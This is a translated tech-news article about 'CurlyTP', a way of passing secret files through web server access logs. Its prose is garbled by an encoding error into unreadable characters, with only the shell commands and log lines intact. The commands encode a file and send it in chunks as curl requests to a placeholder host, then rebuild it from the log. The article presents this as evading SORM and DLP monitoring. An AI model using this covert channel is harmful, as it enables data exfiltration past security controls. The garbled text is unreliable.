เชธเชฐเซเชตเชฐ เชฒเซ‹เช— เชฆเซเชตเชพเชฐเชพ เช—เซเชชเซเชค เชธเช‚เชฆเซ‡เชถเชพเช“เชจเซ€ เช†เชชเชฒเซ‡

เชตเชฟเช•เชฟเชชเซ€เชกเชฟเชฏเชพเชจเซ€ เชตเซเชฏเชพเช–เซเชฏเชพ เชฎเซเชœเชฌ, เชกเซ‡เชก เชกเซเชฐเซ‹เชช เช เชเช• เช•เชพเชตเชคเชฐเซเช‚ เชธเชพเชงเชจ เช›เซ‡ เชœเซ‡ เช—เซเชชเซเชค เชธเซเชฅเชพเชจเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชคเชพ เชฒเซ‹เช•เซ‹ เชตเชšเซเชšเซ‡ เชฎเชพเชนเชฟเชคเซ€ เช…เชฅเชตเชพ เช•เซ‡เชŸเชฒเซ€เช• เชตเชธเซเชคเซเช“เชจเซ€ เช†เชช-เชฒเซ‡ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชธเซ‡เชตเชพ เช†เชชเซ‡ เช›เซ‡. เชตเชฟเชšเชพเชฐ เช เช›เซ‡ เช•เซ‡ เชฒเซ‹เช•เซ‹ เช•เซเชฏเชพเชฐเซ‡เชฏ เชฎเชณเชคเชพ เชจเชฅเซ€ - เชชเชฐเช‚เชคเซ เชคเซ‡เช“ เชนเชœเซ€ เชชเชฃ เช“เชชเชฐเซ‡เชถเชจเชฒ เชธเชฒเชพเชฎเชคเซ€ เชœเชพเชณเชตเชตเชพ เชฎเชพเชนเชฟเชคเซ€เชจเซ€ เช†เชช-เชฒเซ‡ เช•เชฐเซ‡ เช›เซ‡.

เช›เซเชชเชพเชตเชพเชจเซ€ เชœเช—เซเชฏเชพเช เชงเซเชฏเชพเชจ เช†เช•เชฐเซเชทเชฟเชค เชจ เช•เชฐเชตเซเช‚ เชœเซ‹เชˆเช. เชคเซ‡เชฅเซ€, เช‘เชซเชฒเชพเช‡เชจ เชตเชฟเชถเซเชตเชฎเชพเช‚ เชคเซ‡เช“ เช˜เชฃเซ€เชตเชพเชฐ เชธเชฎเชœเชฆเชพเชฐ เชตเชธเซเชคเซเช“เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ‡ เช›เซ‡: เชฆเชฟเชตเชพเชฒเชฎเชพเช‚ เชเช• เช›เซ‚เชŸเช• เชˆเช‚เชŸ, เชชเซเชธเซเชคเช•เชพเชฒเชฏเชจเซเช‚ เชชเซเชธเซเชคเช• เช…เชฅเชตเชพ เชเชพเชกเชฎเชพเช‚ เชนเซ‹เชฒเซ‹.

เชˆเชจเซเชŸเชฐเชจเซ‡เชŸ เชชเชฐ เช˜เชฃเชพ เชเชจเซเช•เซเชฐเชฟเชชเซเชถเชจ เช…เชจเซ‡ เช…เชจเชพเชฎเซ€เช•เชฐเชฃ เชธเชพเชงเชจเซ‹ เช›เซ‡, เชชเชฐเช‚เชคเซ เช† เชธเชพเชงเชจเซ‹เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชตเชพเชจเซ€ เชนเช•เซ€เช•เชค เชงเซเชฏเชพเชจ เช†เช•เชฐเซเชทเชฟเชค เช•เชฐเซ‡ เช›เซ‡. เชตเชงเซเชฎเชพเช‚, เชคเซ‡เช“ เช•เซ‹เชฐเซเชชเซ‹เชฐเซ‡เชŸ เช…เชฅเชตเชพ เชธเชฐเช•เชพเชฐเซ€ เชธเซเชคเชฐเซ‡ เช…เชตเชฐเซ‹เชงเชฟเชค เชฅเชˆ เชถเช•เซ‡ เช›เซ‡. เชถเซ เช•เชฐเชตเซ?

เชตเชฟเช•เชพเชธเช•เชฐเซเชคเชพ เชฐเชพเชฏเชจ เชซเซเชฒเชพเชตเชฐเซเชธเซ‡ เชเช• เชฐเชธเชชเซเชฐเชฆ เชตเชฟเช•เชฒเซเชช เชชเซเชฐเชธเซเชคเชพเชตเชฟเชค เช•เชฐเซเชฏเซ‹ - เช•เซ‹เชˆเชชเชฃ เชตเซ‡เชฌ เชธเชฐเซเชตเชฐเชจเซ‡ เช›เซเชชเชพเชตเชพเชจเซ€ เชœเช—เซเชฏเชพ เชคเชฐเซ€เช•เซ‡ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ‹. เชœเซ‹ เชคเชฎเซ‡ เชคเซ‡เชจเชพ เชตเชฟเชถเซ‡ เชตเชฟเชšเชพเชฐเซ‹ เช›เซ‹, เชคเซ‹ เชตเซ‡เชฌ เชธเชฐเซเชตเชฐ เชถเซเช‚ เช•เชฐเซ‡ เช›เซ‡? เชตเชฟเชจเช‚เชคเซ€เช“ เชฎเซ‡เชณเชตเซ‡ เช›เซ‡, เชซเชพเช‡เชฒเซ‹ เช‡เชถเซเชฏเซ‚ เช•เชฐเซ‡ เช›เซ‡ เช…เชจเซ‡ เชฒเซ‹เช— เชฒเช–เซ‡ เช›เซ‡. เช…เชจเซ‡ เชคเซ‡ เชฌเชงเซ€ เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ‡ เชฒเซ‰เช— เช•เชฐเซ‡ เช›เซ‡, เช–เซ‹เชŸเชพ เชชเชฃ!

เชคเซ‡ เชคเชพเชฐเชฃ เช†เชชเซ‡ เช›เซ‡ เช•เซ‡ เช•เซ‹เชˆเชชเชฃ เชตเซ‡เชฌ เชธเชฐเซเชตเชฐ เชคเชฎเชจเซ‡ เชฒเซ‹เช—เชฎเชพเช‚ เชฒเช—เชญเช— เช•เซ‹เชˆเชชเชฃ เชธเช‚เชฆเซ‡เชถ เชธเชพเชšเชตเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡. เชซเซ‚เชฒเซ‹เชจเซ‡ เช†เชถเซเชšเชฐเซเชฏ เชฅเชฏเซเช‚ เช•เซ‡ เช†เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เช•เชฐเชตเซ‹.

เชคเซ‡ เช† เชตเชฟเช•เชฒเซเชช เช†เชชเซ‡ เช›เซ‡:

  1. เชŸเซ‡เช•เซเชธเซเชŸ เชซเชพเช‡เชฒ (เช—เซเชชเซเชค เชธเช‚เชฆเซ‡เชถ) เชฒเซ‹ เช…เชจเซ‡ เชนเซ‡เชถ (md5sum) เชจเซ€ เช—เชฃเชคเชฐเซ€ เช•เชฐเซ‹.
  2. เช…เชฎเซ‡ เชคเซ‡เชจเซ‡ เชเชจเซเช•เซ‹เชก เช•เชฐเซ€เช เช›เซ€เช (gzip+uuencode).
  3. เช…เชฎเซ‡ เชธเชฐเซเชตเชฐเชจเซ‡ เชœเชพเชฃเซ€เชœเซ‹เชˆเชจเซ‡ เช–เซ‹เชŸเซ€ เชตเชฟเชจเช‚เชคเซ€เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชฒเซ‹เช— เชชเชฐ เชฒเช–เซ€เช เช›เซ€เช.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

เชซเชพเช‡เชฒ เชตเชพเช‚เชšเชตเชพ เชฎเชพเชŸเซ‡, เชคเชฎเชพเชฐเซ‡ เช† เช‘เชชเชฐเซ‡เชถเชจเซเชธเชจเซ‡ เชตเชฟเชชเชฐเซ€เชค เช•เซเชฐเชฎเชฎเชพเช‚ เช•เชฐเชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡: เชซเชพเช‡เชฒเชจเซ‡ เชกเซ€เช•เซ‹เชก เช…เชจเซ‡ เช…เชจเชเชฟเชช เช•เชฐเซ‹, เชนเซ‡เชถ เชคเชชเชพเชธเซ‹ (เชนเซ‡เชถเชจเซ‡ เช–เซเชฒเซเชฒเซ€ เชšเซ‡เชจเชฒเซ‹ เชชเชฐ เชธเซเชฐเช•เซเชทเชฟเชค เชฐเซ€เชคเซ‡ เชŸเซเชฐเชพเชจเซเชธเชฎเชฟเชŸ เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡).

เชœเช—เซเชฏเชพเช“ เชธเชพเชฅเซ‡ เชฌเชฆเชฒเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ =+=เชœเซ‡เชฅเซ€ เชธเชฐเชจเชพเชฎเชพเชฎเชพเช‚ เช•เซ‹เชˆ เชœเช—เซเชฏเชพ เชจ เชนเซ‹เชฏ. เชชเซเชฐเซ‹เช—เซเชฐเชพเชฎ, เชœเซ‡เชจเซ‡ เชฒเซ‡เช–เช• เช•เชฐเซเชฒเซ€เชŸเซ€เชชเซ€ เช•เชนเซ‡ เช›เซ‡, เช‡เชฎเซ‡เช‡เชฒ เชœเซ‹เชกเชพเชฃเซ‹เชจเซ€ เชœเซ‡เชฎ, เชฌเซ‡เช 64 เชเชจเซเช•เซ‹เชกเชฟเช‚เช—เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ‡ เช›เซ‡. เชตเชฟเชจเช‚เชคเซ€ เช•เซ€เชตเชฐเซเชก เชธเชพเชฅเซ‡ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เช›เซ‡ ?transfer?เชœเซ‡เชฅเซ€ เชชเซเชฐเชพเชชเซเชคเช•เชฐเซเชคเชพ เชคเซ‡เชจเซ‡ เชฒเซ‰เช—เชฎเชพเช‚ เชธเชฐเชณเชคเชพเชฅเซ€ เชถเซ‹เชงเซ€ เชถเช•เซ‡.

เช† เช•เชฟเชธเซเชธเชพเชฎเชพเช‚ เชฒเซ‹เช—เชฎเชพเช‚ เช†เชชเชฃเซ‡ เชถเซเช‚ เชœเซ‹เชˆเช เช›เซ€เช?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

เชชเชนเซ‡เชฒเซ‡เชฅเซ€ เชœ เช‰เชฒเซเชฒเซ‡เช– เช•เชฐเซเชฏเซ‹ เช›เซ‡ เชคเซ‡เชฎ, เช—เซเชชเซเชค เชธเช‚เชฆเซ‡เชถ เชชเซเชฐเชพเชชเซเชค เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชคเชฎเชพเชฐเซ‡ เชตเชฟเชชเชฐเซ€เชค เช•เซเชฐเชฎเชฎเชพเช‚ เช•เชพเชฎเช—เซ€เชฐเซ€ เช•เชฐเชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เชธเซเชตเชšเชพเชฒเชฟเชค เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชธเชฐเชณ เช›เซ‡. Md5sum เชฎเซ‡เชณ เช–เชพเชฏ เช›เซ‡, เช…เชจเซ‡ เชซเชพเช‡เชฒเชจเซ€ เชธเชพเชฎเช—เซเชฐเซ€ เชชเซเชทเซเชŸเชฟ เช•เชฐเซ‡ เช›เซ‡ เช•เซ‡ เชฌเชงเซเช‚ เชฏเซ‹เช—เซเชฏ เชฐเซ€เชคเซ‡ เชกเซ€เช•เซ‹เชก เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚.

เชชเชฆเซเชงเชคเชฟ เช–เซ‚เชฌ เชœ เชธเชฐเชณ เช›เซ‡. โ€œเช† เช•เชตเชพเชฏเชคเชจเซ‹ เชฎเซเชฆเซเชฆเซ‹ เชซเช•เซเชค เช เชธเชพเชฌเชฟเชค เช•เชฐเชตเชพเชจเซ‹ เช›เซ‡ เช•เซ‡ เชจเชฟเชฐเซเชฆเซ‹เชท เชจเชพเชจเซ€ เชตเซ‡เชฌ เชตเชฟเชจเช‚เชคเซ€เช“ เชฆเซเชตเชพเชฐเชพ เชซเชพเช‡เชฒเซ‹เชจเซ‡ เชธเซเชฅเชพเชจเชพเช‚เชคเชฐเชฟเชค เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡, เช…เชจเซ‡ เชคเซ‡ เชธเชพเชฆเชพ เชŸเซ‡เช•เซเชธเซเชŸ เชฒเซ‹เช— เชธเชพเชฅเซ‡ เช•เซ‹เชˆเชชเชฃ เชตเซ‡เชฌ เชธเชฐเซเชตเชฐ เชชเชฐ เช•เชพเชฐเซเชฏ เช•เชฐเซ‡ เช›เซ‡. เช…เชจเชฟเชตเชพเชฐเซเชฏเชชเชฃเซ‡, เชฆเชฐเซ‡เช• เชตเซ‡เชฌ เชธเชฐเซเชตเชฐ เชเช• เช›เซ‚เชชเชพเชตเชตเชพเชจเซ€ เชœเช—เซเชฏเชพ เช›เซ‡!โ€ เชซเซเชฒเชพเชตเชฐเซเชธ เชฒเช–เซ‡ เช›เซ‡.

เช…เชฒเชฌเชคเซเชค, เชชเชฆเซเชงเชคเชฟ เชซเช•เซเชค เชคเซเชฏเชพเชฐเซ‡ เชœ เช•เชพเชฐเซเชฏ เช•เชฐเซ‡ เช›เซ‡ เชœเซ‹ เชชเซเชฐเชพเชชเซเชคเช•เชฐเซเชคเชพเชจเซ‡ เชธเชฐเซเชตเชฐ เชฒเซ‹เช—เชจเซ€ เชเช•เซเชธเซ‡เชธ เชนเซ‹เชฏ. เชชเชฐเช‚เชคเซ เช†เชตเซ€ เชเช•เซเชธเซ‡เชธ เชชเซเชฐเชฆเชพเชจ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡, เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เช˜เชฃเชพ เชนเซ‹เชธเซเชŸเชฐเซเชธ เชฆเซเชตเชพเชฐเชพ.

เชคเซ‡เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เช•เชฐเชตเซ‹?

Ryan Flowers เช•เชนเซ‡ เช›เซ‡ เช•เซ‡ เชคเซ‡ เชฎเชพเชนเชฟเชคเซ€ เชธเซเชฐเช•เซเชทเชพ เชจเชฟเชทเซเชฃเชพเชค เชจเชฅเซ€ เช…เชจเซ‡ CurlyTP เชฎเชพเชŸเซ‡ เชธเช‚เชญเชตเชฟเชค เช‰เชชเชฏเซ‹เช—เซ‹เชจเซ€ เชธเซ‚เชšเชฟ เชคเซˆเชฏเชพเชฐ เช•เชฐเชถเซ‡ เชจเชนเซ€เช‚. เชคเซ‡เชจเชพ เชฎเชพเชŸเซ‡, เชคเซ‡ เช–เซเชฏเชพเชฒเชจเซ‹ เชฎเชพเชคเซเชฐ เชเช• เชชเซเชฐเชพเชตเซ‹ เช›เซ‡ เช•เซ‡ เชœเซ‡ เชชเชฐเชฟเชšเชฟเชค เชธเชพเชงเชจเซ‹ เช†เชชเชฃเซ‡ เชฆเชฐเชฐเซ‹เชœ เชœเซ‹เชˆเช เช›เซ€เช เชคเซ‡เชจเซ‹ เช‰เชชเชฏเซ‹เช— เชฌเชฟเชจเชชเชฐเช‚เชชเชฐเชพเช—เชค เชฐเซ€เชคเซ‡ เชฅเชˆ เชถเช•เซ‡ เช›เซ‡.

เชนเช•เซ€เช•เชคเชฎเชพเช‚, เช† เชชเชฆเซเชงเชคเชฟเชฎเชพเช‚ เช…เชจเซเชฏ เชธเชฐเซเชตเชฐ "เช›เซเชชเชพเชตเซ‡ เช›เซ‡" เชœเซ‡เชตเชพ เช˜เชฃเชพ เชซเชพเชฏเชฆเชพ เช›เซ‡ เชกเชฟเชœเชฟเชŸเชฒ เชกเซ‡เชก เชกเซเชฐเซ‹เชช เช…เชฅเชตเชพ เชชเชพเช‡เชฐเซ‡เชŸเชฌเซ‹เช•เซเชธ: เชคเซ‡เชจเซ‡ เชธเชฐเซเชตเชฐ เชฌเชพเชœเซ เชชเชฐ เชตเชฟเชถเซ‡เชท เชฐเซ‚เชชเชฐเซ‡เช–เชพเช‚เช•เชจเชจเซ€ เช…เชฅเชตเชพ เช•เซ‹เชˆ เชตเชฟเชถเซ‡เชท เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒเชจเซ€ เชœเชฐเซ‚เชฐ เชจเชฅเซ€ - เช…เชจเซ‡ เชœเซ‡เช“ เชŸเซเชฐเชพเชซเชฟเช•เชจเซเช‚ เชจเชฟเชฐเซ€เช•เซเชทเชฃ เช•เชฐเซ‡ เช›เซ‡ เชคเซ‡เชฎเชจเชพเชฎเชพเช‚ เชถเช‚เช•เชพ เชœเช—เชพเชกเชถเซ‡ เชจเชนเซ€เช‚. เชคเซ‡ เช…เชธเช‚เชญเชตเชฟเชค เช›เซ‡ เช•เซ‡ SORM เช…เชฅเชตเชพ DLP เชธเชฟเชธเซเชŸเชฎ เชธเช‚เช•เซเชšเชฟเชค เชŸเซ‡เช•เซเชธเซเชŸ เชซเชพเช‡เชฒเซ‹ เชฎเชพเชŸเซ‡ URL เชจเซ‡ เชธเซเช•เซ‡เชจ เช•เชฐเชถเซ‡.

เชธเซ‡เชตเชพ เชซเชพเช‡เชฒเซ‹ เชฆเซเชตเชพเชฐเชพ เชธเช‚เชฆเซ‡เชถเชพเช“ เชชเซเชฐเชธเชพเชฐเชฟเชค เช•เชฐเชตเชพเชจเซ€ เช† เชเช• เชฐเซ€เชค เช›เซ‡. เชคเชฎเซ‡ เชฏเชพเชฆ เช•เชฐเซ€ เชถเช•เซ‹ เช›เซ‹ เช•เซ‡ เช•เซ‡เชŸเชฒเซ€เช• เช…เชฆเซเชฏเชคเชจ เช•เช‚เชชเชจเซ€เช“ เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เชฎเซ‚เช•เชคเซ€ เชนเชคเซ€ เชเชšเชŸเซ€เชŸเซ€เชชเซ€ เชนเซ‡เชกเชฐเชฎเชพเช‚ เชกเซ‡เชตเชฒเชชเชฐ เชœเซ‹เชฌเซเชธ เช…เชฅเชตเชพ HTML เชชเซƒเชทเซเช เซ‹เชจเชพ เช•เซ‹เชกเชฎเชพเช‚.

เชธเชฐเซเชตเชฐ เชฒเซ‹เช— เชฆเซเชตเชพเชฐเชพ เช—เซเชชเซเชค เชธเช‚เชฆเซ‡เชถเชพเช“เชจเซ€ เช†เชชเชฒเซ‡

เชตเชฟเชšเชพเชฐ เชเชตเซ‹ เชนเชคเซ‹ เช•เซ‡ เชซเช•เซเชค เชตเซ‡เชฌ เชกเซ‡เชตเชฒเชชเชฐเซเชธ เชœ เช† เช‡เชธเซเชŸเชฐ เชเช— เชœเซ‹เชถเซ‡, เช•เชพเชฐเชฃ เช•เซ‡ เชธเชพเชฎเชพเชจเซเชฏ เชตเซเชฏเช•เซเชคเชฟ เชนเซ‡เชกเชฐเซเชธ เช…เชฅเชตเชพ HTML เช•เซ‹เชกเชจเซ‡ เชœเซ‹เชถเซ‡ เชจเชนเซ€เช‚.

เชธเชฐเซเชตเชฐ เชฒเซ‹เช— เชฆเซเชตเชพเชฐเชพ เช—เซเชชเซเชค เชธเช‚เชฆเซ‡เชถเชพเช“เชจเซ€ เช†เชชเชฒเซ‡

เชธเซ‹เชฐเซเชธ: www.habr.com

เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹